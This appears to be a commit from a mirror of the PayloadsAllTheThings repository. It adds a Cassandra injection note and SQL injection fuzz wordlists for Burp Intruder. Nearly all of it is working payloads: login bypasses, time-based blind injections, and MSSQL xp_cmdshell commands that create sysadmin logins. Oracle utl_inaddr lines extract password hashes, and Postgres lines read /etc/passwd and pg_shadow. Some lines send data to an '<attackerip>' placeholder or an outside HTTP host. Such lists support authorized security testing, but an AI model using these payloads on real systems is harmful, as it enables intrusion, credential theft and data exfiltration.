mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-01-02 15:59:45 -08:00
Fix name - Part 1
This commit is contained in:
Swissky
37
FIX_SQL Injection/Cassandra Injection.md
Normal file
37
FIX_SQL Injection/Cassandra Injection.md
Normal file
@@ -0,0 +1,37 @@
|
||||
# Cassandra Injection
|
||||
|
||||
> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system
|
||||
|
||||
## Cassandra comment
|
||||
|
||||
```sql
|
||||
/* Cassandra Comment */
|
||||
```
|
||||
|
||||
## Cassandra - Login Bypass
|
||||
|
||||
### Login Bypass 0
|
||||
|
||||
```sql
|
||||
username: admin' ALLOW FILTERING; %00
|
||||
password: ANY
|
||||
```
|
||||
|
||||
### Login Bypass 1
|
||||
|
||||
```sql
|
||||
username: admin'/*
|
||||
password: */and pass>'
|
||||
```
|
||||
|
||||
The injection would look like the following SQL query
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;
|
||||
```
|
||||
|
||||
Example from EternalNoob : [https://hack2learn.pw/cassandra/login.php](https://hack2learn.pw/cassandra/login.php)
|
||||
|
||||
## References
|
||||
|
||||
* [Injection In Apache Cassandra – Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/)
|
||||
BIN
FIX_SQL Injection/Images/wildcard_underscore.jpg
Normal file
BIN
FIX_SQL Injection/Images/wildcard_underscore.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 108 KiB |
77
FIX_SQL Injection/Intruder/Auth_Bypass.txt
Normal file
77
FIX_SQL Injection/Intruder/Auth_Bypass.txt
Normal file
@@ -0,0 +1,77 @@
|
||||
'-'
|
||||
' '
|
||||
'&'
|
||||
'^'
|
||||
'*'
|
||||
' or ''-'
|
||||
' or '' '
|
||||
' or ''&'
|
||||
' or ''^'
|
||||
' or ''*'
|
||||
"-"
|
||||
" "
|
||||
"&"
|
||||
"^"
|
||||
"*"
|
||||
" or ""-"
|
||||
" or "" "
|
||||
" or ""&"
|
||||
" or ""^"
|
||||
" or ""*"
|
||||
or true--
|
||||
" or true--
|
||||
' or true--
|
||||
") or true--
|
||||
') or true--
|
||||
' or 'x'='x
|
||||
') or ('x')=('x
|
||||
')) or (('x'))=(('x
|
||||
" or "x"="x
|
||||
") or ("x")=("x
|
||||
")) or (("x"))=(("x
|
||||
or 1=1
|
||||
or 1=1--
|
||||
or 1=1#
|
||||
or 1=1/*
|
||||
admin' --
|
||||
admin' #
|
||||
admin'/*
|
||||
admin' or '1'='1
|
||||
admin' or '1'='1'--
|
||||
admin' or '1'='1'#
|
||||
admin' or '1'='1'/*
|
||||
admin'or 1=1 or ''='
|
||||
admin' or 1=1
|
||||
admin' or 1=1--
|
||||
admin' or 1=1#
|
||||
admin' or 1=1/*
|
||||
admin') or ('1'='1
|
||||
admin') or ('1'='1'--
|
||||
admin') or ('1'='1'#
|
||||
admin') or ('1'='1'/*
|
||||
admin') or '1'='1
|
||||
admin') or '1'='1'--
|
||||
admin') or '1'='1'#
|
||||
admin') or '1'='1'/*
|
||||
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
||||
admin" --
|
||||
admin" #
|
||||
admin"/*
|
||||
admin" or "1"="1
|
||||
admin" or "1"="1"--
|
||||
admin" or "1"="1"#
|
||||
admin" or "1"="1"/*
|
||||
admin"or 1=1 or ""="
|
||||
admin" or 1=1
|
||||
admin" or 1=1--
|
||||
admin" or 1=1#
|
||||
admin" or 1=1/*
|
||||
admin") or ("1"="1
|
||||
admin") or ("1"="1"--
|
||||
admin") or ("1"="1"#
|
||||
admin") or ("1"="1"/*
|
||||
admin") or "1"="1
|
||||
admin") or "1"="1"--
|
||||
admin") or "1"="1"#
|
||||
admin") or "1"="1"/*
|
||||
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
||||
120
FIX_SQL Injection/Intruder/Auth_Bypass2.txt
Normal file
120
FIX_SQL Injection/Intruder/Auth_Bypass2.txt
Normal file
@@ -0,0 +1,120 @@
|
||||
==
|
||||
=
|
||||
'
|
||||
' --
|
||||
' #
|
||||
' –
|
||||
'--
|
||||
'/*
|
||||
'#
|
||||
" --
|
||||
" #
|
||||
"/*
|
||||
' and 1='1
|
||||
' and a='a
|
||||
or 1=1
|
||||
or true
|
||||
' or ''='
|
||||
" or ""="
|
||||
1′) and '1′='1–
|
||||
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
|
||||
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
|
||||
and 1=1
|
||||
and 1=1–
|
||||
' and 'one'='one
|
||||
' and 'one'='one–
|
||||
' group by password having 1=1--
|
||||
' group by userid having 1=1--
|
||||
' group by username having 1=1--
|
||||
like '%'
|
||||
or 0=0 --
|
||||
or 0=0 #
|
||||
or 0=0 –
|
||||
' or 0=0 #
|
||||
' or 0=0 --
|
||||
' or 0=0 #
|
||||
' or 0=0 –
|
||||
" or 0=0 --
|
||||
" or 0=0 #
|
||||
" or 0=0 –
|
||||
%' or '0'='0
|
||||
or 1=1
|
||||
or 1=1--
|
||||
or 1=1/*
|
||||
or 1=1#
|
||||
or 1=1–
|
||||
' or 1=1--
|
||||
' or '1'='1
|
||||
' or '1'='1'--
|
||||
' or '1'='1'/*
|
||||
' or '1'='1'#
|
||||
' or '1′='1
|
||||
' or 1=1
|
||||
' or 1=1 --
|
||||
' or 1=1 –
|
||||
' or 1=1--
|
||||
' or 1=1;#
|
||||
' or 1=1/*
|
||||
' or 1=1#
|
||||
' or 1=1–
|
||||
') or '1'='1
|
||||
') or '1'='1--
|
||||
') or '1'='1'--
|
||||
') or '1'='1'/*
|
||||
') or '1'='1'#
|
||||
') or ('1'='1
|
||||
') or ('1'='1--
|
||||
') or ('1'='1'--
|
||||
') or ('1'='1'/*
|
||||
') or ('1'='1'#
|
||||
'or'1=1
|
||||
'or'1=1′
|
||||
" or "1"="1
|
||||
" or "1"="1"--
|
||||
" or "1"="1"/*
|
||||
" or "1"="1"#
|
||||
" or 1=1
|
||||
" or 1=1 --
|
||||
" or 1=1 –
|
||||
" or 1=1--
|
||||
" or 1=1/*
|
||||
" or 1=1#
|
||||
" or 1=1–
|
||||
") or "1"="1
|
||||
") or "1"="1"--
|
||||
") or "1"="1"/*
|
||||
") or "1"="1"#
|
||||
") or ("1"="1
|
||||
") or ("1"="1"--
|
||||
") or ("1"="1"/*
|
||||
") or ("1"="1"#
|
||||
) or '1′='1–
|
||||
) or ('1′='1–
|
||||
' or 1=1 LIMIT 1;#
|
||||
'or 1=1 or ''='
|
||||
"or 1=1 or ""="
|
||||
' or 'a'='a
|
||||
' or a=a--
|
||||
' or a=a–
|
||||
') or ('a'='a
|
||||
" or "a"="a
|
||||
") or ("a"="a
|
||||
') or ('a'='a and hi") or ("a"="a
|
||||
' or 'one'='one
|
||||
' or 'one'='one–
|
||||
' or uid like '%
|
||||
' or uname like '%
|
||||
' or userid like '%
|
||||
' or user like '%
|
||||
' or username like '%
|
||||
' or 'x'='x
|
||||
') or ('x'='x
|
||||
" or "x"="x
|
||||
' OR 'x'='x'#;
|
||||
'=' 'or' and '=' 'or'
|
||||
' UNION ALL SELECT 1, @@version;#
|
||||
' UNION ALL SELECT system_user(),user();#
|
||||
' UNION select table_schema,table_name FROM information_Schema.tables;#
|
||||
admin' and substring(password/text(),1,1)='7
|
||||
' and substring(password/text(),1,1)='7
|
||||
|
||||
40
FIX_SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt
Normal file
40
FIX_SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt
Normal file
@@ -0,0 +1,40 @@
|
||||
waitfor delay '0:0:20' /*
|
||||
waitfor delay '0:0:20' --
|
||||
' waitfor delay '0:0:20' /*
|
||||
' waitfor delay '0:0:20' --
|
||||
" waitfor delay '0:0:20' /*
|
||||
" waitfor delay '0:0:20' --
|
||||
) waitfor delay '0:0:20' /*
|
||||
) waitfor delay '0:0:20' --
|
||||
)) waitfor delay '0:0:20' /*
|
||||
)) waitfor delay '0:0:20' --
|
||||
))) waitfor delay '0:0:20' /*
|
||||
))) waitfor delay '0:0:20' --
|
||||
)))) waitfor delay '0:0:20' /*
|
||||
)))) waitfor delay '0:0:20' --
|
||||
))))) waitfor delay '0:0:20' --
|
||||
)))))) waitfor delay '0:0:20' --
|
||||
') waitfor delay '0:0:20' /*
|
||||
') waitfor delay '0:0:20' --
|
||||
") waitfor delay '0:0:20' /*
|
||||
") waitfor delay '0:0:20' --
|
||||
')) waitfor delay '0:0:20' /*
|
||||
')) waitfor delay '0:0:20' --
|
||||
")) waitfor delay '0:0:20' /*
|
||||
")) waitfor delay '0:0:20' --
|
||||
'))) waitfor delay '0:0:20' /*
|
||||
'))) waitfor delay '0:0:20' --
|
||||
"))) waitfor delay '0:0:20' /*
|
||||
"))) waitfor delay '0:0:20' --
|
||||
')))) waitfor delay '0:0:20' /*
|
||||
')))) waitfor delay '0:0:20' --
|
||||
")))) waitfor delay '0:0:20' /*
|
||||
")))) waitfor delay '0:0:20' --
|
||||
'))))) waitfor delay '0:0:20' /*
|
||||
'))))) waitfor delay '0:0:20' --
|
||||
"))))) waitfor delay '0:0:20' /*
|
||||
"))))) waitfor delay '0:0:20' --
|
||||
')))))) waitfor delay '0:0:20' /*
|
||||
')))))) waitfor delay '0:0:20' --
|
||||
")))))) waitfor delay '0:0:20' /*
|
||||
")))))) waitfor delay '0:0:20' --
|
||||
17
FIX_SQL Injection/Intruder/FUZZDB_MSSQL.txt
Normal file
17
FIX_SQL Injection/Intruder/FUZZDB_MSSQL.txt
Normal file
@@ -0,0 +1,17 @@
|
||||
# you will need to customize/modify some of the vaules in the queries for best effect
|
||||
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
|
||||
'create user name identified by 'pass123' --
|
||||
'create user name identified by pass123 temporary tablespace temp default tablespace users;
|
||||
' ; drop table temp --
|
||||
'exec sp_addlogin 'name' , 'password' --
|
||||
' exec sp_addsrvrolemember 'name' , 'sysadmin' --
|
||||
' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --
|
||||
' grant connect to name; grant resource to name; --
|
||||
' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
|
||||
' or 1=1 --
|
||||
' union (select @@version) --
|
||||
' union (select NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
|
||||
15
FIX_SQL Injection/Intruder/FUZZDB_MSSQL_Enumeration.txt
Normal file
15
FIX_SQL Injection/Intruder/FUZZDB_MSSQL_Enumeration.txt
Normal file
@@ -0,0 +1,15 @@
|
||||
# ms-sqli info disclosure payload fuzzfile
|
||||
# replace regex with your fuzzer for best results <attackerip> <sharename>
|
||||
# run wireshark or tcpdump, look for incoming smb or icmp packets from victim
|
||||
# might need to terminate payloads with ;--
|
||||
select @@version
|
||||
select @@servernamee
|
||||
select @@microsoftversione
|
||||
select * from master..sysserverse
|
||||
select * from sysusers
|
||||
exec master..xp_cmdshell 'ipconfig+/all'
|
||||
exec master..xp_cmdshell 'net+view'
|
||||
exec master..xp_cmdshell 'net+users'
|
||||
exec master..xp_cmdshell 'ping+<attackerip>'
|
||||
BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
|
||||
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
|
||||
6
FIX_SQL Injection/Intruder/FUZZDB_MYSQL.txt
Normal file
6
FIX_SQL Injection/Intruder/FUZZDB_MYSQL.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
1'1
|
||||
1 exec sp_ (or exec xp_)
|
||||
1 and 1=1
|
||||
1' and 1=(select count(*) from tablenames); --
|
||||
1 or 1=1
|
||||
1' or '1'='1
|
||||
45
FIX_SQL Injection/Intruder/FUZZDB_MySQL-WHERE_Time.txt
Normal file
45
FIX_SQL Injection/Intruder/FUZZDB_MySQL-WHERE_Time.txt
Normal file
@@ -0,0 +1,45 @@
|
||||
and 0=benchmark(3000000,MD5(1))%20/*
|
||||
and 0=benchmark(3000000,MD5(1))%20--
|
||||
and 0=benchmark(3000000,MD5(1))%20%23
|
||||
' and 0=benchmark(3000000,MD5(1))%20/*
|
||||
' and 0=benchmark(3000000,MD5(1))%20--
|
||||
' and 0=benchmark(3000000,MD5(1))%20%23
|
||||
" and 0=benchmark(3000000,MD5(1))%20/*
|
||||
" and 0=benchmark(3000000,MD5(1))%20--
|
||||
" and 0=benchmark(3000000,MD5(1))%20%23
|
||||
) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
) and 0=benchmark(3000000,MD5(1))%20--
|
||||
) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
') and 0=benchmark(3000000,MD5(1))%20/*
|
||||
') and 0=benchmark(3000000,MD5(1))%20--
|
||||
') and 0=benchmark(3000000,MD5(1))%20%23
|
||||
") and 0=benchmark(3000000,MD5(1))%20/*
|
||||
") and 0=benchmark(3000000,MD5(1))%20--
|
||||
") and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
@@ -0,0 +1,3 @@
|
||||
# mysql local file disclosure through sqli
|
||||
# fuzz interesting absolute filepath/filename into <filepath>
|
||||
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;
|
||||
56
FIX_SQL Injection/Intruder/FUZZDB_Oracle.txt
Normal file
56
FIX_SQL Injection/Intruder/FUZZDB_Oracle.txt
Normal file
@@ -0,0 +1,56 @@
|
||||
# contains statements from jbrofuzz
|
||||
’ or ‘1’=’1
|
||||
' or '1'='1
|
||||
'||utl_http.request('httP://192.168.1.1/')||'
|
||||
' || myappadmin.adduser('admin', 'newpass') || '
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
|
||||
|
||||
20
FIX_SQL Injection/Intruder/FUZZDB_Postgres_Enumeration.txt
Normal file
20
FIX_SQL Injection/Intruder/FUZZDB_Postgres_Enumeration.txt
Normal file
@@ -0,0 +1,20 @@
|
||||
# info disclosure payload fuzzfile for pgsql
|
||||
select version();
|
||||
select current_database();
|
||||
select current_user;
|
||||
select session_user;
|
||||
select current_setting('log_connections');
|
||||
select current_setting('log_statement');
|
||||
select current_setting('port');
|
||||
select current_setting('password_encryption');
|
||||
select current_setting('krb_server_keyfile');
|
||||
select current_setting('virtual_host');
|
||||
select current_setting('port');
|
||||
select current_setting('config_file');
|
||||
select current_setting('hba_file');
|
||||
select current_setting('data_directory');
|
||||
select * from pg_shadow;
|
||||
select * from pg_group;
|
||||
create table myfile (input TEXT);
|
||||
copy myfile from '/etc/passwd';
|
||||
select * from myfile;copy myfile to /tmp/test;
|
||||
154
FIX_SQL Injection/Intruder/Generic_ErrorBased.txt
Normal file
154
FIX_SQL Injection/Intruder/Generic_ErrorBased.txt
Normal file
@@ -0,0 +1,154 @@
|
||||
OR 1=1
|
||||
OR 1=0
|
||||
OR x=x
|
||||
OR x=y
|
||||
OR 1=1#
|
||||
OR 1=0#
|
||||
OR x=x#
|
||||
OR x=y#
|
||||
OR 1=1--
|
||||
OR 1=0--
|
||||
OR x=x--
|
||||
OR x=y--
|
||||
OR 3409=3409 AND ('pytW' LIKE 'pytW
|
||||
OR 3409=3409 AND ('pytW' LIKE 'pytY
|
||||
HAVING 1=1
|
||||
HAVING 1=0
|
||||
HAVING 1=1#
|
||||
HAVING 1=0#
|
||||
HAVING 1=1--
|
||||
HAVING 1=0--
|
||||
AND 1=1
|
||||
AND 1=0
|
||||
AND 1=1--
|
||||
AND 1=0--
|
||||
AND 1=1#
|
||||
AND 1=0#
|
||||
AND 1=1 AND '%'='
|
||||
AND 1=0 AND '%'='
|
||||
AND 1083=1083 AND (1427=1427
|
||||
AND 7506=9091 AND (5913=5913
|
||||
AND 1083=1083 AND ('1427=1427
|
||||
AND 7506=9091 AND ('5913=5913
|
||||
AND 7300=7300 AND 'pKlZ'='pKlZ
|
||||
AND 7300=7300 AND 'pKlZ'='pKlY
|
||||
AND 7300=7300 AND ('pKlZ'='pKlZ
|
||||
AND 7300=7300 AND ('pKlZ'='pKlY
|
||||
AS INJECTX WHERE 1=1 AND 1=1
|
||||
AS INJECTX WHERE 1=1 AND 1=0
|
||||
AS INJECTX WHERE 1=1 AND 1=1#
|
||||
AS INJECTX WHERE 1=1 AND 1=0#
|
||||
AS INJECTX WHERE 1=1 AND 1=1--
|
||||
AS INJECTX WHERE 1=1 AND 1=0--
|
||||
WHERE 1=1 AND 1=1
|
||||
WHERE 1=1 AND 1=0
|
||||
WHERE 1=1 AND 1=1#
|
||||
WHERE 1=1 AND 1=0#
|
||||
WHERE 1=1 AND 1=1--
|
||||
WHERE 1=1 AND 1=0--
|
||||
ORDER BY 1--
|
||||
ORDER BY 2--
|
||||
ORDER BY 3--
|
||||
ORDER BY 4--
|
||||
ORDER BY 5--
|
||||
ORDER BY 6--
|
||||
ORDER BY 7--
|
||||
ORDER BY 8--
|
||||
ORDER BY 9--
|
||||
ORDER BY 10--
|
||||
ORDER BY 11--
|
||||
ORDER BY 12--
|
||||
ORDER BY 13--
|
||||
ORDER BY 14--
|
||||
ORDER BY 15--
|
||||
ORDER BY 16--
|
||||
ORDER BY 17--
|
||||
ORDER BY 18--
|
||||
ORDER BY 19--
|
||||
ORDER BY 20--
|
||||
ORDER BY 21--
|
||||
ORDER BY 22--
|
||||
ORDER BY 23--
|
||||
ORDER BY 24--
|
||||
